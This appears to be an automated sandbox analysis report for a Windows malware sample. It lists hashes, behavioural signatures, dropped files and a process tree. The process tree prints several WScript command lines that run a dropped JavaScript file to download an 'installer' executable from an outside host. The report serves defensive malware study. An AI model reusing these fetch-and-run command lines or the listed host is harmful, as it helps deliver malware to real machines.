Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
20/05/2024, 02:10
Static task
static1
Behavioral task
behavioral1
Sample
5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
-
Target
5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe
-
Size
184KB
-
MD5
5ca6bae0eef6e6c8d8c0e7ce213bc113
-
SHA1
5446fdcf8f3ba9da07e66aafeb3791ca59615ffe
-
SHA256
40045260648bd3cf36ee255a5e7f3d8f96862d31d2f5b881fcf5b5e9b94855ef
-
SHA512
85bb06c5385cdb8d31d9462d0f06d37b4ddbc7bd2ca9050197502568f4dd85a61a829c0abe13a5a650bd414c46a84b58911d973de29fccfecb0787c69b709e0b
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO376:/7BSH8zUB+nGESaaRvoB7FJNndn06
Malware Config
Signatures
-
Blocklisted process makes network request 11 IoCs
flow pid Process 6 1212 WScript.exe 8 1212 WScript.exe 10 1212 WScript.exe 12 2660 WScript.exe 13 2660 WScript.exe 15 2888 WScript.exe 16 2888 WScript.exe 18 1124 WScript.exe 19 1124 WScript.exe 21 1964 WScript.exe 22 1964 WScript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1724 wrote to memory of 1212 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 28 PID 1724 wrote to memory of 1212 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 28 PID 1724 wrote to memory of 1212 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 28 PID 1724 wrote to memory of 1212 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 28 PID 1724 wrote to memory of 2660 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 30 PID 1724 wrote to memory of 2660 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 30 PID 1724 wrote to memory of 2660 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 30 PID 1724 wrote to memory of 2660 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 30 PID 1724 wrote to memory of 2888 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 32 PID 1724 wrote to memory of 2888 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 32 PID 1724 wrote to memory of 2888 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 32 PID 1724 wrote to memory of 2888 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 32 PID 1724 wrote to memory of 1124 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 34 PID 1724 wrote to memory of 1124 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 34 PID 1724 wrote to memory of 1124 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 34 PID 1724 wrote to memory of 1124 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 34 PID 1724 wrote to memory of 1964 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 36 PID 1724 wrote to memory of 1964 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 36 PID 1724 wrote to memory of 1964 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 36 PID 1724 wrote to memory of 1964 1724 5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe 36
Processes
-
C:\Users\Admin\AppData\Local\Temp\5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\5ca6bae0eef6e6c8d8c0e7ce213bc113_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe2⤵
- Blocklisted process makes network request
PID:1212
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe2⤵
- Blocklisted process makes network request
PID:2660
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe2⤵
- Blocklisted process makes network request
PID:2888
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe2⤵
- Blocklisted process makes network request
PID:1124
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1304.js" http://www.djapp.info/?domain=FJGtzeqCcv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fuf1304.exe2⤵
- Blocklisted process makes network request
PID:1964
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize1KB
MD5cbc282c89eaf33dcc25496b655dd3335
SHA112d03e52947a33c0aa0cb46699d361ea92c319d2
SHA256ed35539ae2e3de90b4d09f6dbed4fc19febf9c5ec3b9e54bbe6b972a89bd63c0
SHA512eb2411b661feeccc44ea7b9bf096279a9c5a9fd504836ba827fcb9b6a815796a8fd4b03c8ec0e36ea7eebe82c0f059cbca3509e52a400921401a1b485bcc360b
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize724B
MD58202a1cd02e7d69597995cabbe881a12
SHA18858d9d934b7aa9330ee73de6c476acf19929ff6
SHA25658f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA51297ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize410B
MD541f10ba079e02584bf16d6db94fbfb4a
SHA1f040a0670b1ee38e97e898f7fe48116ead8dc3e9
SHA25665e73362c2907ec8a0d3094093176b6c20f6ac93b91c6a37fbc51d0d55c4ff6a
SHA512b954530c6714527a67e0218353cff2c2d9e366b87002da8d62503a84727153b66796d0e2a81bf9ad63632d9b3ab9c6372a08ec1b63c67ce84aaaa3fb6c7563b8
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5345b3ed0ecb206e6d6365fff4bb4b872
SHA1bf811a084db064cbe388aa206472bf6bdcbf7c5a
SHA2567140a955681ebaa3b81af895a5385f9b735d8d4dee94996eeab487bcf1075191
SHA5120c55db80bb5df927141ff5b5c17b98ee4ebbcb3f0885f37ac9fde111077f076fb106a4fb848101f9b779cfe84041e1a275773031409ca30059cca5d51a341d05
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize392B
MD5a40b46b413e77b8fea8b96fc24cfb3e0
SHA12f79646227f68515934f1b4a6e3326e58cd109a5
SHA2564c094428228881ad565caa53ec0ee5bd307a63d846af1052dccd6304bda1c4ae
SHA5120e2912d3948bdd522403dc7d81ff40903c9c4901678a59871387a3c4956bbf767d9b6c5e9aab8f183fbb5bce8a614db82b1f363cdd811612b3d9fcd8127c9187
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm
Filesize6KB
MD50014f7f73165c9c72966b818a2e7a47e
SHA160505afcf34fa9bf3625fe2a1eff57f4cd468c94
SHA256ac4cc42146667344cd2adc998ac1e206bf43dae5b5641b3a549c239f3f353098
SHA51219237a998167eed854fa3b0dbbe56755aebab8f3406644e2f9c5c32d91c1878c5ef346e4d5266fedc69563cecae12278d65ed0ae2680e93c95287b7d9e357e19
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3NPBB818\domain_profile[1].htm
Filesize6KB
MD5b1540e17ae750255ed0951865f450086
SHA183c1a3a70370f992f4d77d57f6ebe93c6cdeb8a8
SHA25650e051a51f5ba8134bdb5943d81f1300edc1580192dbdbf289d791a344ca7dff
SHA512e65199239d234ca724827917d1b3f888fc53843d5e6800fe1de4797aa6465f94a64d96c6409ac492f0c32fc87e86df49ec0fe3218a752aceea863b740d145055
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
Filesize40KB
MD52dbd5286ae501d6727eadf15a682a102
SHA173f6f9b5aa82ee4956f64d41490e722948b77a96
SHA256902262eae1f30a0cade2521aaf255f63565a13e693825c48f859ca5d5a4ab5d5
SHA512724624bae253b8e58eabfcf9bda78f8b0f0382e189ecbb51572c5d5be3783579c3bde80e9f010578de503a59be48793316894bef069d92b04509ad3f0d4f45c0
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\EDQW9R5V\domain_profile[1].htm
Filesize6KB
MD502099a6db677d12df540040411cc2905
SHA1bc25fad0ea4d93d9e90569518e3591f538e3acea
SHA256ebd7127c1f36f104b3f58efb5435394219de82081071b27b5ca207cdfabeff4a
SHA51220cccf8a24de0d96528dcf459d8f238faacee7ffa9fe613d25ab6e6ea8166bb49cba364b150558e1de891e82078054fa6312cc38f07e310cce9c80e763d4c3a4
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
Filesize
177B
MD5738d063caf65a02853c3c9bbef642144
SHA1107553583588d76b6d224dec93424baea843c6f9
SHA2569f02ea6e702f61dad2bab84a5e34b946aafe1664450fda55e716efcc9ae874be
SHA5123861df6dec822bc5a002688ec738d4414dc72dbeff9f75d950302c510708323eb9b6da0106b9dcf7f10bafab93d3f30f87bbf6cfc77f50f495ea68036410badf